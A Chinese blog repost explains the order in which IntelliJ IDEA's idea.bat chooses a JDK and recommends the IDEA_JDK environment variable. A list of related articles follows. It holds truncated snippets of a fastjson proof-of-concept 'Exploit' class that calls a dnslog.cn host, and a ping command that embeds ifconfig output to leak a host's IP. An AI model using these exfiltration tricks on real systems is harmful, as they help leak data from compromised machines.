IDEA使用本机指定的java环境

 
 

idea 的安装包内有自己的jre。

idea 默认使用自己的jre

如果要使用自己的jdk,可以在bin目录下,找到idea.bat

  1.  
    :: ---------------------------------------------------------------------
  2.  
    :: Locate a JDK installation directory which will be used to run the IDE.
  3.  
    :: Try (in order): IDEA_JDK, idea%BITS%.exe.jdk, ..\jre, JDK_HOME, JAVA_HOME.
  4.  
    :: ---------------------------------------------------------------------
  5.  
    SET JDK=
  6.  
     
  7.  
    IF EXIST "%IDEA_JDK%" SET JDK=%IDEA_JDK%
  8.  
    IF EXIST "%JDK%" GOTO check
  9.  
     
  10.  
    SET BITS=64
  11.  
    SET USER_JDK64_FILE=%USERPROFILE%\.IntelliJIdea2018.3\config\idea%BITS%.exe.jdk
  12.  
    SET BITS=
  13.  
    SET USER_JDK_FILE=%USERPROFILE%\.IntelliJIdea2018.3\config\idea%BITS%.exe.jdk
  14.  
    IF EXIST "%USER_JDK64_FILE%" (
  15.  
    SET /P JDK=<%USER_JDK64_FILE%
  16.  
    ) ELSE (
  17.  
    IF EXIST "%USER_JDK_FILE%" SET /P JDK=<%USER_JDK_FILE%
  18.  
    )
  19.  
    IF NOT "%JDK%" == "" (
  20.  
    IF NOT EXIST "%JDK%" SET JDK="%IDE_HOME%\%JDK%"
  21.  
    IF EXIST "%JDK%" GOTO check
  22.  
    )
  23.  
     
  24.  
    IF EXIST "%IDE_HOME%\jre64" SET JDK=%IDE_HOME%\jre64
  25.  
    IF EXIST "%JDK%" GOTO check
  26.  
    IF EXIST "%IDE_HOME%\jre32" SET JDK=%IDE_HOME%\jre32
  27.  
    IF EXIST "%JDK%" GOTO check
  28.  
    IF EXIST "%IDE_HOME%\jre" SET JDK=%IDE_HOME%\jre
  29.  
    IF EXIST "%JDK%" GOTO check
  30.  
     
  31.  
    IF EXIST "%JDK_HOME%" SET JDK=%JDK_HOME%
  32.  
    IF EXIST "%JDK%" GOTO check
  33.  
     
  34.  
    IF EXIST "%JAVA_HOME%" SET JDK=%JAVA_HOME%

在设置jdk时,

  1. 取环境变量 IDEA_JDK
  2. idea%BITS%.exe.jdk (这是在这个目录下的,%USERPROFILE%.IntelliJIdea2018.3\config\idea%BITS%.exe.jdk)
  3. ../jre (也就是idea自带的jre)
  4. 环境变量 JDK_HOME
  5. 环境变量 JAVA_HOME

可以看到,最后才是取JAVA_HOME

知道了,配置方式,使用起来就方便了

可以配置IDEA_JDK的环境变量,指定Java环境,

也可以把JAVA_HOME改到第一条。

当然是推荐第一条了,这是idea给我们预留配置jdk环境的方式。

这就是idea比eclipse好用的地方,处处彰显细节的设计。

eclipse只能依赖本地JAVA_HOME。idea可以自由配置。

OK ,结束!

转载于:https://my.oschina.net/ElEGenT/blog/3053147

IDEA使用本机指定的java环境的更多相关文章

  1. 【转】Ubuntu 14.04配置安装java环境和android开发环境(包括真机调试环境)

    原文网址:http://my.oschina.net/HalZf/blog/347351 总要记录下过程,不然老是会忘记掉-真老了.-_-! 一.配置安装ubuntu 64位java环境: 1.下载l ...

  2. java: 列出本机java环境

    java: 列出本机java环境 System.getProperties().list(System.out);

  3. [原创]多版本Java环境变量的配置

    起因:   偶然突发兴致, 收拾下自己的老T500电脑, 用来做个家庭开发用机. 应为每次装系统都有GHOST备份的习惯, 所以需要提前搭建好开发环境. 而且新装系统的目的之一, 也是想研究下Andr ...

  4. Windows平台配置Appium+Java环境

    1) 安装JDK 下载地址:http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 安装 ...

  5. 转:Windows平台配置Appium+Java环境

    1) 安装JDK 下载地址:http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 安装 ...

  6. MacBook下java环境的搭建

    在Mac下搭建JAVA环境: 1.下载并安装JDK: 下载最新的JDK,傻瓜式安装,一直下一步就OK了. 2.配置环境变量: 在终端中输入 sudo vim ~/.bash_profile ,打开 . ...

  7. docker java环境 直接做成镜像 跑自己的java包

    yum install docker #基于阿里源 可以直接下载 systemctl restart docker ifconfig  #出现 docker0  说明环境部署成功 docker ver ...

  8. Appium(一):java环境、AndroidSDK环境

    1. java环境 java的下载和安装可以看我以前写的Java基础:<java下载和安装>. 2. AndroidSDK环境 2.1 AndroidSDK下载 我们进入:https:// ...

  9. 语言篇:Java环境

    语言篇:Java环境 Java是什么? Java 是一项用于开发应用程序的技术语言,可以让 Web 变得更有意思和更实用.使用 Java 可以玩游戏.上载照片.联机聊天以及参与虚拟体验,并能够使用联机 ...

随机推荐

  1. 堆(python)

    # -*- coding:utf-8 -*- class Array(object): def __init__(self, size=32): self._size = size self._ite ...

  2. 28.XSD(XML Schema Definition)用法实例介绍以及C#使用xsd文件验证XML格式

    转自https://www.cnblogs.com/gdjlc/archive/2013/09/08/3308229.html XML Schema 语言也称作 XML Schema 定义(XML S ...

  3. python实现Bencode解码方法

    近期搞项目中遇到Bencode解码的问题,就用Py写了个Bencode解码的代码.作为笔记保存参考. BEncoding是BitTorrent用在传输数据结构的编码方式,这种编码方式支持四种类型的数据 ...

  4. String 堆内存和栈内存

    java把内存划分为两种:一种是栈(stack)内存,一种是堆(heap)内存 在函数中定义的一些基本类型的变量和对象的引用变量都在栈内存中分配,当在一段代码块定义一个变量时,java就在栈中为这个变 ...

  5. fastjson ping外带信息poc

    public class Exploit { public Exploit(){ String base_url = ".egpkd5.dnslog.cn"; //你的dnslog ...

  6. ping命令传递信息

    IP: # 适用于 eth0 inet addr: IP的情况 ping `ifconfig eth0|grep 'inet '|awk '{ print $2}'|awk -F: '{print $ ...

  7. java发送邮件javamail, freemarker读取html模板内容

    https://www.cnblogs.com/xdp-gacl/p/4216311.html 一.RFC882文档简单说明 RFC882文档规定了如何编写一封简单的邮件(纯文本邮件),一封简单的邮件 ...

  8. 鼠标经过提高层级案例(margin,相对定位,z-index)

    <body> <ul> <li class="box1">1</li> <li class="box2"& ...

  9. 检测 nginx 关闭切换keepalived

    检测nginx 端口启用  关闭 keepalived  检测 nginx 进程:然后关闭 keepalived ,关闭漂移IP : cat nginx_pid.sh #!/bin/bash whil ...

  10. Problem 5 素数筛法+并查集

    $des$ 给定一个长度为 $n$ 的正整数序列 ${a_i }$.将 ${1,2,...,n}$ 划分成两个非空集合 $S.T$,使得 $gcd(\prod_{i \in S} a_i, \prod ...